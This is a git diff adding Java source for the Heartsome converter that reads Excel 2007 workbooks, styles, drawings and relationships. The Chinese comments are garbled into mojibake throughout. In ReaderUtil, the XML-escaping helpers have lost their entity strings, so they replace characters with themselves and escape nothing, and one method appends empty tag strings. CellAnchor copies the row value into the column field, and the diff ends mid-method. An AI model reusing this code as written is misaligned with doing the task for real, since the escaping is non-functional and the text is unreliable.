b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/document/SpreadsheetPackage.java @@ -0,0 +1,154 @@ +package net.heartsome.cat.converter.msexcel2007.document; + +import java.io.File; +import java.io.FileNotFoundException; + +/** + * Spreadsheet的资æºåŒ…
    + * 关闭Spreadsheet文档时,需è¦è°ƒç”¨{@link #close()}方法,清ç†è§£åŽ‹åŽçš„æ–‡ä»¶èµ„æº + * @author Jason + * @since jdk 1.5 + */ +public class SpreadsheetPackage { + + /**Spread解压åŽçš„第一级目录 */ + private String superRoot; + + /** 在包中获å–文件时的当å‰ç›®å½• */ + private String currentRoot; + + /** 临时目录,用于记录标记 */ + private String tempRoot; + + /** + * 构造SpreadsheetPackage对象 + * @param root + * 资æºæ ¹è·¯å¾„,在此路径下,包å«äº†Spreadsheet解压åŽçš„所有文件和正确的目录结构 + * @throws FileNotFoundException + */ + public SpreadsheetPackage(String root) throws FileNotFoundException { + superRoot = root; + setCurrentRoot(root); + } + + /** + * 设置当å‰æ ¹ç›®å½• + * @param root + * @throws FileNotFoundException + * ; + */ + public void setCurrentRoot(String root) throws FileNotFoundException { + File f = new File(root); + if (!f.exists()) { + throw new FileNotFoundException(); + } + this.currentRoot = root; + } + + /** + * 获å–包的根目录 + * @return + */ + public String getPackageSuperRoot() { + return this.superRoot; + } + + /** + * 获å–当å‰æ ¹ç›®å½•çš„å称 + * @return ; + */ + public String getRootName() { + File f = new File(currentRoot); + return f.getName(); + } + + /** + * 回到上一级目录,类似命令行中的cd ..命令,如果当å‰æ ¹ç›®å½•å·²ç»æ˜¯åŒ…的根目录,则ä¸åšä»»ä½•æ“作 + */ + public void back2TopLeve() { + File f = new File(currentRoot); + if (!f.getParent().equals(superRoot)) { + try { + setCurrentRoot(f.getParent()); + } catch (FileNotFoundException e) { + e.printStackTrace(); + } + } + } + + /** + * 获å–包中文件的路径
    + * 如获å–workbook.xml,则relativePath的值应该为xl/workbook.xml
    + * 获å–xl/workbook.xmlåŽï¼Œ{@link #currentRoot}/xl将作为根目录 + * @param relativePath + * @return + * @throws FileNotFoundException + */ + public String getPackageFilePath(String relativePath) throws FileNotFoundException { + if (relativePath.startsWith("..")) { + back2TopLeve(); + relativePath = relativePath.substring(relativePath.indexOf('/') + 1, relativePath.length()); + } + File ret = new File(currentRoot); + String[] dirs = relativePath.split("/"); + if (!ret.exists()) { + throw new FileNotFoundException(currentRoot); + } + if (dirs.length >= 1) { + for (int i = 0; i < dirs.length - 1; i++) { + ret = new File(ret, dirs[i]); + } + ret = new File(ret, dirs[dirs.length - 1]); + if (!ret.exists()) { + throw new FileNotFoundException(relativePath); + } + } + setCurrentRoot(ret.getParent()); + return ret.getAbsolutePath(); + } + + /** + * 标记当å‰æ ¹ç›®å½•ä½ç½®,å‚考{@link #resetRoot()} + */ + public void markRoot() { + tempRoot = this.currentRoot; + } + + /** + * é‡ç½®å½“å‰æ ¹ç›®å½•åˆ°æ ‡è®°ä½ç½®,å‚考{@link #markRoot()}
    + * 如果未调用{@link #markRoot()} 方法则ä¸åšä»»ä½•æ“作 + */ + public void resetRoot() { + if (tempRoot != null && tempRoot.length() != 0) { + this.currentRoot = tempRoot; + tempRoot = ""; + } + } + + /** + * 删除目录或者文件 + * @param file + * 需è¦å¤„ç†çš„文件或文件夹; + */ + private void deleteFileOrFolder(File file) { + if (file.exists()) { + if (file.isFile()) { + file.delete(); + } else if (file.isDirectory()) { + File files[] = file.listFiles(); + for (int i = 0; i < files.length; i++) { + this.deleteFileOrFolder(files[i]); + } + } + file.delete(); + } + } + + /** + * 关闭当å‰åŒ…,关闭时清ç†èµ„æºï¼Œåˆ é™¤å½“å‰åŒ…路径 ; + */ + public void close() { + File f = new File(superRoot); + this.deleteFileOrFolder(f); + } +} diff --git a/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/document/StylesPart.java b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/document/StylesPart.java new file mode 100644 index 0000000..8312984 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/document/StylesPart.java @@ -0,0 +1,79 @@ +/** + * StylesPart.java + * + * Version information : + * + * Date:2012-8-2 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.msexcel2007.document; + +import java.io.FileNotFoundException; +import java.util.ArrayList; +import java.util.List; + +import net.heartsome.cat.converter.msexcel2007.common.InternalFileException; +import net.heartsome.cat.converter.msexcel2007.common.SpreadsheetUtil; + +import com.ximpleware.AutoPilot; +import com.ximpleware.VTDException; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class StylesPart extends AbstractPart { + + private List redStyleIndexs; + + public StylesPart(String target) throws InternalFileException, FileNotFoundException { + super(SpreadsheetUtil.getPartXml(target, false)); + loadRedFgStyle(); + } + + /** + * 加载红å‰æ™¯è‰²æ ·å¼ + */ + private boolean isRedColor(int idx) { + idx += 1; + String xpath = "/styleSheet/fonts/font["+idx+"]"; + try { + vu.getVTDNav().push(); + AutoPilot ap = new AutoPilot(vu.getVTDNav()); + ap.selectXPath(xpath); + while (ap.evalXPath() != -1) { + String rgb = vu.getElementAttribute("./color", "rgb"); + if(rgb != null && rgb.equals("FFFF0000")){ + return true; + } + } + vu.getVTDNav().pop(); + } catch (VTDException e) { + e.printStackTrace(); + } + return false; + } + + private void loadRedFgStyle(){ + redStyleIndexs = new ArrayList(); + String xpath = "/styleSheet/cellXfs/xf"; + try { + AutoPilot ap = new AutoPilot(vu.getVTDNav()); + ap.selectXPath(xpath); + while (ap.evalXPath() != -1) { + String fIdx = vu.getCurrentElementAttribut("fontId", ""); + if(!fIdx.equals("") && isRedColor(Integer.parseInt(fIdx))){ + redStyleIndexs.add(vu.getVTDNav().getCurrentDepth() - 1); + } + } + } catch (VTDException e) { + e.printStackTrace(); + } + } + + public List getFilterCellStyle(){ + return this.redStyleIndexs; + } +} diff --git a/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/document/WorkBookPart.java b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/document/WorkBookPart.java new file mode 100644 index 0000000..0867561 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/document/WorkBookPart.java @@ -0,0 +1,132 @@ +package net.heartsome.cat.converter.msexcel2007.document; + +import java.io.FileNotFoundException; +import java.io.IOException; +import java.util.ArrayList; +import java.util.List; + +import net.heartsome.cat.converter.msexcel2007.common.Constants; +import net.heartsome.cat.converter.msexcel2007.common.InternalFileException; +import net.heartsome.cat.converter.msexcel2007.common.SpreadsheetUtil; +import net.heartsome.cat.converter.msexcel2007.document.rels.Relationship; +import net.heartsome.cat.converter.msexcel2007.resource.Messages; + +import com.ximpleware.AutoPilot; +import com.ximpleware.VTDException; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class WorkBookPart extends AbstractPart { + + private RelsPart relsPart; + private List sheetPartList; + private ShareStringTablePart sst; + + private StylesPart stylePart; + + public WorkBookPart() throws InternalFileException, FileNotFoundException { + super(SpreadsheetUtil.getPartXml(Constants.WORKBOOK_PATH, false)); + this.relsPart = new RelsPart(this); + loadShareStringTable(); + loadSytlesPart(); + loadWorkSheets(); + } + + public List getSheetParts() { + return sheetPartList; + } + + public ShareStringTablePart getShareStringTablePart() { + return sst; + } + + public StylesPart getStylesPart() { + return stylePart; + } + + private void loadWorkSheets() throws InternalFileException, FileNotFoundException { + sheetPartList = new ArrayList(); + int ssiIndex = 0; + StringBuffer siBf = new StringBuffer(); + try { + String xpath = "/workbook/sheets/sheet"; + AutoPilot ap = new AutoPilot(vu.getVTDNav()); + ap.selectXPath(xpath); + while (ap.evalXPath() != -1) { + int index = vu.getVTDNav().getAttrVal("name"); + if (index == -1) { + throw new InternalFileException(Messages.getString("msexcel.converter.exception.msg1")); + } + String name = vu.getVTDNav().toRawString(index); + + index = vu.getVTDNav().getAttrVal("sheetId"); + if (index == -1) { + throw new InternalFileException(Messages.getString("msexcel.converter.exception.msg1")); + } + String id = vu.getVTDNav().toRawString(index); + + index = vu.getVTDNav().getAttrVal("r:id"); + if (index == -1) { + throw new InternalFileException(Messages.getString("msexcel.converter.exception.msg1")); + } + String rid = vu.getVTDNav().toRawString(index); + + Relationship r = relsPart.getRelationshipById(rid); + SpreadsheetUtil.assertNull(r); + String target = r.getTarget(); + SheetPart sp = new SheetPart(name, id, target); + ssiIndex = sp.fillShareStringTable(sst, ssiIndex, siBf); + sheetPartList.add(sp); + } + // fix bug Bug #2925 转æ¢excel文件--空指针异常,转æ¢å¤±è´¥ by jason + if (sst != null && siBf.length() != 0) { + sst.updateShareStringTable(siBf.toString()); + } + } catch (VTDException e) { + logger.error("", e); + } catch (IOException e) { + + } + } + + private void loadShareStringTable() throws InternalFileException { + List rList = relsPart.getRelationshipByType(Constants.PART_TYPE_SST); + if (rList.size() != 1) { + return; + } + Relationship r = rList.get(0); + try { + sst = new ShareStringTablePart(r.getTarget()); + } catch (FileNotFoundException e) { + // å¯èƒ½æ²¡æœ‰sharedStrings.xml + } + } + + private void loadSytlesPart() throws InternalFileException, FileNotFoundException { + List rList = relsPart.getRelationshipByType(Constants.PART_TYPE_STYLE); + if (rList.size() != 1) { + throw new InternalFileException(Messages.getString("msexcel.converter.exception.msg1")); + } + Relationship r = rList.get(0); + stylePart = new StylesPart(r.getTarget()); + } + + void updateSheetName(String sheetId, String sheetName) { + String xpath = "/workbook/sheets/sheet[@sheetId = '" + sheetId + "']/@name"; + vu.update(null, xm, xpath, sheetName); + } + + @Override + public void save() throws InternalFileException { + for (SheetPart s : sheetPartList) { + s.save(); + } + if (this.sst != null) { + this.sst.save(); + } + super.save(); + } +} diff --git a/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/document/drawing/AbstractDrawing.java b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/document/drawing/AbstractDrawing.java new file mode 100644 index 0000000..6dfe3e6 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/document/drawing/AbstractDrawing.java @@ -0,0 +1,112 @@ +/** + * AbstractDrawing.java + * + * Version information : + * + * Date:2012-8-8 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.msexcel2007.document.drawing; + +import java.io.IOException; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import net.heartsome.cat.converter.msexcel2007.common.Constants; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import com.ximpleware.AutoPilot; +import com.ximpleware.VTDException; +import com.ximpleware.VTDGen; +import com.ximpleware.XMLByteOutputStream; +import com.ximpleware.XMLModifier; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class AbstractDrawing { + + public static final Logger logger = LoggerFactory.getLogger(AbstractDrawing.class); + protected VTDUtils vu; + + private String xmlContent; + + protected XMLModifier xm; + + public AbstractDrawing(String xmlContent) { + this.xmlContent = appendNS(xmlContent); + loadXML(); + } + + protected void save() { + try { + XMLByteOutputStream xbos = new XMLByteOutputStream(xm.getUpdatedDocumentSize()); + xm.output(xbos); + this.xmlContent = new String(xbos.getXML()); + xbos.close(); + // System.out.println(this.xmlContent); + } catch (VTDException e) { + logger.error("",e); + } catch (IOException e) { + logger.error("",e); + } + } + + protected void saveAndReload() { + save(); + loadXML(); + } + + public String getXmlContent(){ + return this.xmlContent.replace(getNSDeclare2XML(), ""); + } + + public void setXmlContent(String newValue){ + this.xmlContent = newValue; + } + + /** + * 获å–带有命å空间申明的AtutoPilot对象 + * @return ; + */ + protected AutoPilot getDeclareNSAutoPilot() { + AutoPilot ap = new AutoPilot(vu.getVTDNav()); + ap.declareXPathNameSpace(Constants.NAMESPACE_DRAWING_PREFIX_XDR, Constants.NAMESPACE_DRAWING_URL_XDR); + ap.declareXPathNameSpace(Constants.NAMESPACE_DRAWING_PREFIX_A, Constants.NAMESPACE_DRAWING_URL_A); + return ap; + } + + private void loadXML() { + VTDGen vg = new VTDGen(); + vg.setDoc(this.xmlContent.getBytes()); + try { + vg.parse(true); + vu = new VTDUtils(vg.getNav()); + xm = new XMLModifier(vu.getVTDNav()); + } catch (VTDException e) { + logger.error("",e); + } + } + + private String appendNS(String xml) { + String nsDecl = getNSDeclare2XML(); + StringBuffer xbf = new StringBuffer(xml); + int p = xbf.indexOf(">"); + xbf.insert(p, nsDecl); + return xbf.toString(); + } + + private String getNSDeclare2XML(){ + StringBuffer bf = new StringBuffer(); + bf.append(" xmlns:").append(Constants.NAMESPACE_DRAWING_PREFIX_XDR); + bf.append("=\"").append(Constants.NAMESPACE_DRAWING_URL_XDR).append("\""); + bf.append(" xmlns:").append(Constants.NAMESPACE_DRAWING_PREFIX_A); + bf.append("=\"").append(Constants.NAMESPACE_DRAWING_URL_A).append("\""); + return bf.toString(); + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/document/drawing/CellAnchor.java b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/document/drawing/CellAnchor.java new file mode 100644 index 0000000..4fac5f1 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/document/drawing/CellAnchor.java @@ -0,0 +1,105 @@ +/** + * Anchor.java + * + * Version information : + * + * Date:2012-8-7 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.msexcel2007.document.drawing; + +import java.io.UnsupportedEncodingException; +import java.util.ArrayList; +import java.util.List; + +import com.ximpleware.AutoPilot; +import com.ximpleware.VTDException; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class CellAnchor extends AbstractDrawing{ + private String fromRow; + private String fromCol; + + private List shapeList; + + public CellAnchor(String anchorXML, String fromRow, String fromCol) { + super(anchorXML); + this.fromRow = fromRow; + this.fromCol = fromRow; + loadShapeAnchor(); + } + + public void appendShape(ShapeTxBody shape) { + shapeList.add(shape); + } + + public String getFromRow() { + return fromRow; + } + + public void setFromRow(String fromRow) { + this.fromRow = fromRow; + } + + public String getFromCol() { + return fromCol; + } + + public void setFromCol(String fromCol) { + this.fromCol = fromCol; + } + + public List getShapeList() { + return shapeList; + } + + public void updateCellAnchor(){ + for(ShapeTxBody s : shapeList){ + s.updateParagragh(); + } + String xpath = "//xdr:sp/xdr:txBody"; + AutoPilot ap = getDeclareNSAutoPilot(); + try { + ap.selectXPath(xpath); + int i = 0; + while (ap.evalXPath() != -1) { + ShapeTxBody s = shapeList.get(i); + xm.remove(); + xm.insertAfterElement(s.getXmlContent()); + i++; + } + save(); + + } catch (VTDException e) { + logger.error("",e); + } catch (UnsupportedEncodingException e) { + logger.error("",e); + } + } + + private void loadShapeAnchor() { + this.shapeList = new ArrayList(); + String xpath = "//xdr:sp"; + AutoPilot ap = getDeclareNSAutoPilot(); + try { + ap.selectXPath(xpath); + while (ap.evalXPath() != -1) { + AutoPilot _ap = getDeclareNSAutoPilot(); + _ap.selectXPath("./xdr:txBody"); + vu.getVTDNav().push(); + if (_ap.evalXPath() != -1) { + ShapeTxBody s = new ShapeTxBody(vu.getElementFragment()); + shapeList.add(s); + } + vu.getVTDNav().pop(); + } + } catch (VTDException e) { + logger.error("",e); + } + } +} diff --git a/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/document/drawing/ShapeParagraph.java b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/document/drawing/ShapeParagraph.java new file mode 100644 index 0000000..df479f8 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/document/drawing/ShapeParagraph.java @@ -0,0 +1,132 @@ +/** + * ShapeParagraph.java + * + * Version information : + * + * Date:2012-8-8 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.msexcel2007.document.drawing; + +import java.io.IOException; +import java.util.ArrayList; +import java.util.List; + +import net.heartsome.cat.converter.msexcel2007.reader.ReaderUtil; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import com.ximpleware.AutoPilot; +import com.ximpleware.VTDException; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class ShapeParagraph extends AbstractDrawing { + /** the paragraph pure text */ + private String pText; + + /** the paragraph text style */ + private List characterStyles; + + public ShapeParagraph(String pXML) { + super(pXML); + this.pText = getCellValueText(); + this.characterStyles = getParagraghCharacterStyle(this.pText); + } + + public String getParagraghText() { + return this.pText; + } + + public void setParagraghText(String newValue) { + try { + if (this.characterStyles.size() > 1) { + // multi r element + vu.pilot(getDeclareNSAutoPilot(), "/a:p/a:r"); + xm.insertAfterElement(newValue); + vu.delete(getDeclareNSAutoPilot(), xm, "/a:p/a:r", VTDUtils.PILOT_TO_END); + + } else if (this.characterStyles.size() == 1) { + // single r element + vu.update(getDeclareNSAutoPilot(), xm, "/a:p/a:r/a:t/text()", newValue); + } + save(); + // saveAndReload(); + } catch (VTDException e) { + logger.error("",e); + } catch (IOException e) { + logger.error("",e); + } + } + + public List getParagraghCharacterStyle() { + return this.characterStyles; + } + + private String getCellValueText() { + String result = ""; + try { + AutoPilot ap = getDeclareNSAutoPilot(); + ap.selectXPath("/a:p/a:r"); + if (ap.evalXPath() != -1) { + StringBuffer bf = new StringBuffer(); + do { + String tVal = vu.getChildContent("a:t"); + bf.append(tVal); + } while (ap.evalXPath() != -1); + result = bf.toString(); + } + } catch (VTDException e) { + logger.error("",e); + } + return result; + } + + private List getParagraghCharacterStyle(String cellText) { + List result = new ArrayList(); + try { + AutoPilot ap = getDeclareNSAutoPilot(); + ap.selectXPath("/a:p/a:r"); + if (ap.evalXPath() != -1) { + StringBuffer bf = new StringBuffer(); + do { + String rPrC = getChilderFragment("a:rPr"); + if (rPrC != null) { + bf.append("ctype=\"a\" rPr=\"").append(ReaderUtil.cleanAttribute(rPrC)).append("\""); + } else { + bf.append("ctype=\"a\">"); + } + String tVal = vu.getChildContent("a:t"); + int sos = cellText.indexOf(tVal); + int length = tVal.length(); + + Object[] obj = new Object[3]; + obj[0] = sos; + obj[1] = sos + length; + obj[2] = bf.toString(); + result.add(obj); + + bf.delete(0, bf.length()); // clear + } while (ap.evalXPath() != -1); + } + } catch (VTDException e) { + logger.error("",e); + } + return result; + } + + private String getChilderFragment(String elementName) throws VTDException { + String text = null; + AutoPilot ap = getDeclareNSAutoPilot(); + ap.selectXPath("./" + elementName); + vu.getVTDNav().push(); + if (ap.evalXPath() != -1) { + text = vu.getElementFragment(); + } + vu.getVTDNav().pop(); + return text; + } +} diff --git a/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/document/drawing/ShapeTxBody.java b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/document/drawing/ShapeTxBody.java new file mode 100644 index 0000000..39e0ee7 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/document/drawing/ShapeTxBody.java @@ -0,0 +1,72 @@ +/** + * Shape.java + * + * Version information : + * + * Date:2012-8-7 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.msexcel2007.document.drawing; + +import java.io.UnsupportedEncodingException; +import java.util.ArrayList; +import java.util.List; + +import com.ximpleware.AutoPilot; +import com.ximpleware.VTDException; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class ShapeTxBody extends AbstractDrawing { + + private List pList; + + public ShapeTxBody(String txBodyXml) { + super(txBodyXml); + loadParagraph(); + } + + public List getTxBodyParagraghList() { + return pList; + } + + void updateParagragh(){ + String xpath = "/xdr:txBody/a:p"; + AutoPilot ap = getDeclareNSAutoPilot(); + try { + ap.selectXPath(xpath); + int i = 0; + while (ap.evalXPath() != -1) { + ShapeParagraph p = pList.get(i); + xm.remove(); + xm.insertAfterElement(p.getXmlContent()); + i++; + } + save(); + + } catch (VTDException e) { + logger.error("",e); + } catch (UnsupportedEncodingException e) { + logger.error("",e); + } + } + + private void loadParagraph() { + pList = new ArrayList(); + String xpath = "/xdr:txBody/a:p"; + AutoPilot ap = getDeclareNSAutoPilot(); + try { + ap.selectXPath(xpath); + while (ap.evalXPath() != -1) { + ShapeParagraph p = new ShapeParagraph(vu.getElementFragment()); + pList.add(p); + } + } catch (VTDException e) { + logger.error("",e); + } + } +} diff --git a/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/document/rels/Relationship.java b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/document/rels/Relationship.java new file mode 100644 index 0000000..9920b01 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/document/rels/Relationship.java @@ -0,0 +1,66 @@ +/** + * ReferenceRelationship.java + * + * Version information : + * + * Date:2012-8-1 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.msexcel2007.document.rels; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class Relationship { + private String id; + private String type; + private String target; + + public Relationship(String id, String type, String target) { + this.id = id; + this.type = type; + this.target = target; + } + + @Override + public boolean equals(Object obj) { + if (obj instanceof Relationship) { + Relationship tempObj = (Relationship) obj; + if (this.id.equals(tempObj.id) && this.type.equals(tempObj.getType()) + && this.target.equals(tempObj.getTarget())) { + return true; + } + } else { + return super.equals(obj); + } + return false; + } + + public String getId() { + return id; + } + + public void setId(String id) { + this.id = id; + } + + public String getType() { + return type; + } + + public void setType(String type) { + this.type = type; + } + + public String getTarget() { + return target; + } + + public void setTarget(String target) { + this.target = target; + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/preference/Constants.java b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/preference/Constants.java new file mode 100644 index 0000000..49d1b88 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/preference/Constants.java @@ -0,0 +1,16 @@ +package net.heartsome.cat.converter.msexcel2007.preference; + +/** + * 常é‡ç±» + * @author peason + * @version + * @since JDK1.6 + */ +public final class Constants { + + /** 首选项-->Microsoft Excel 2007 页é¢çš„æ示信æ¯å›¾ç‰‡ */ + public static final String PREFERENCE_EXCEL_32 = "images/preference/excel_32.png"; + + public static final String EXCEL_FILTER = "net.heartsome.cat.converter.msexcel2007.preference.Excel"; + +} diff --git a/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/preference/ConverterPreferenceInitializer.java b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/preference/ConverterPreferenceInitializer.java new file mode 100644 index 0000000..d74ca54 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/preference/ConverterPreferenceInitializer.java @@ -0,0 +1,22 @@ +package net.heartsome.cat.converter.msexcel2007.preference; + +import net.heartsome.cat.converter.msexcel2007.Activator; + +import org.eclipse.core.runtime.preferences.AbstractPreferenceInitializer; +import org.eclipse.jface.preference.IPreferenceStore; + +/** + * 设置首选项文件类型下的默认值类 + * @author peason + * @version + * @since JDK1.6 + */ +public class ConverterPreferenceInitializer extends AbstractPreferenceInitializer { + + @Override + public void initializeDefaultPreferences() { + IPreferenceStore store = Activator.getDefault().getPreferenceStore(); + store.setDefault(Constants.EXCEL_FILTER, false); + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/preference/ExcelPreferencePage.java b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/preference/ExcelPreferencePage.java new file mode 100644 index 0000000..3e8f262 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/preference/ExcelPreferencePage.java @@ -0,0 +1,78 @@ +package net.heartsome.cat.converter.msexcel2007.preference; + +import net.heartsome.cat.common.ui.HsImageLabel; +import net.heartsome.cat.converter.msexcel2007.Activator; +import net.heartsome.cat.converter.msexcel2007.resource.Messages; + +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.jface.preference.PreferencePage; +import org.eclipse.swt.SWT; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Group; +import org.eclipse.ui.IWorkbench; +import org.eclipse.ui.IWorkbenchPreferencePage; + +/** + * 首选项-->Microsoft Excel 2007 é¡µé¢ + * @author peason + * @version + * @since JDK1.6 + */ +public class ExcelPreferencePage extends PreferencePage implements IWorkbenchPreferencePage { + + private IPreferenceStore preferenceStore; + + private Button btnRedFont; + + public ExcelPreferencePage() { + setTitle(Messages.getString("preference.ExcelPreferencePage.title")); + setPreferenceStore(Activator.getDefault().getPreferenceStore()); + preferenceStore = getPreferenceStore(); + } + + @Override + protected Control createContents(Composite parent) { + Composite tparent = new Composite(parent, SWT.NONE); + tparent.setLayout(new GridLayout()); + tparent.setLayoutData(new GridData(GridData.FILL_BOTH)); + + Group groupCommon = new Group(tparent, SWT.NONE); + groupCommon.setLayout(new GridLayout()); + groupCommon.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + groupCommon.setText(Messages.getString("preference.ExcelPreferencePage.groupCommon")); + + HsImageLabel imageLabel = new HsImageLabel( + Messages.getString("preference.ExcelPreferencePage.imageLabel"), + Activator.getImageDescriptor(Constants.PREFERENCE_EXCEL_32)); + Composite cmpCommon = imageLabel.createControl(groupCommon); + cmpCommon.setLayout(new GridLayout()); + cmpCommon.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + btnRedFont = new Button(cmpCommon, SWT.CHECK); + btnRedFont.setText(Messages.getString("preference.ExcelPreferencePage.btnRedFont")); + GridDataFactory.fillDefaults().applyTo(btnRedFont); + + imageLabel.computeSize(); + btnRedFont.setSelection(preferenceStore.getBoolean(Constants.EXCEL_FILTER)); + return parent; + } + + public void init(IWorkbench workbench) { + + } + + @Override + protected void performDefaults() { + btnRedFont.setSelection(preferenceStore.getDefaultBoolean(Constants.EXCEL_FILTER)); + } + + @Override + public boolean performOk() { + preferenceStore.setValue(Constants.EXCEL_FILTER, btnRedFont.getSelection()); + return true; + } +} diff --git a/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/reader/ReaderUtil.java b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/reader/ReaderUtil.java new file mode 100644 index 0000000..627a33c --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/reader/ReaderUtil.java @@ -0,0 +1,139 @@ +package net.heartsome.cat.converter.msexcel2007.reader; + +import java.util.ArrayList; +import java.util.List; + +public class ReaderUtil { + + public static String appendSegStyle(String seg, List styleList) { + StringBuffer bf = new StringBuffer(seg); + StringBuffer result = new StringBuffer(); + int styledId = 1; + for (Object[] obj : styleList) { + int start = (Integer) obj[0]; + int end = (Integer) obj[1]; + String style = (String) obj[2]; + result.append(""); + result.append(bf.substring(start, end)).append(""); + } + + return result.toString(); + + } + + public static List getSegStyle(List styles, String seg, String content) { + List result = new ArrayList(); + + int segSos = content.indexOf(seg); + int segEos = segSos + seg.length(); + int baseSos = segSos; + + for (Object[] obj : styles) { + Object[] temp = obj.clone(); + int styleSos = (Integer) temp[0]; + int styleEos = (Integer) temp[1]; + + if (segSos == styleSos && segEos == styleEos) { + temp[0] = styleSos - baseSos; + temp[1] = styleEos - baseSos; + result.add(temp); + break; + } + if (segSos <= styleSos) { + temp[0] = styleSos - baseSos; + if (segEos < styleEos) { + temp[1] = segEos - baseSos; + result.add(temp); + break; + } else if (segEos > styleEos) { + temp[1] = styleEos - baseSos; + result.add(temp); + segSos = styleEos; + } + } + if (segSos > styleSos && segSos < styleEos) { + temp[0] = segSos - baseSos; + if (segEos <= styleEos) { + temp[1] = segEos - baseSos; + result.add(temp); + break; + } else if (styleEos < segEos) { + temp[1] = styleEos - baseSos; + result.add(temp); + segSos = styleEos; + } + } + + } + return result; + } + + /** + * This method cleans the text that will be stored inside elements in the XLIFF file *. + * @param line + * the line + * @return the string + */ + public static String cleanTag(String line) { + String s = line; + int control = s.indexOf("&"); + while (control != -1) { + s = s.substring(0, control) + "&" + s.substring(control + 1); + if (control < s.length()) { + control++; + } + control = s.indexOf("&", control); + } + + control = s.indexOf("<"); + while (control != -1) { + s = s.substring(0, control) + "<" + s.substring(control + 1); + if (control < s.length()) { + control++; + } + control = s.indexOf("<", control); + } + + control = s.indexOf(">"); + while (control != -1) { + s = s.substring(0, control) + ">" + s.substring(control + 1); + if (control < s.length()) { + control++; + } + control = s.indexOf(">", control); + } + + return s; + } + + public static String cleanAttribute(String line){ + String s = cleanTag(line); + int control = s.indexOf('"'); + while (control != -1) { + s = s.substring(0, control) + """ + s.substring(control + 1); + if (control < s.length()) { + control++; + } + control = s.indexOf('"', control); + } + + return s; + } + + public static String reCleanAttribute(String line){ + String s = line; + s = s.replaceAll("<", "<"); + s = s.replaceAll(">", ">"); + s = s.replaceAll(""", "\""); + s = s.replaceAll("&", "&"); + return s; + 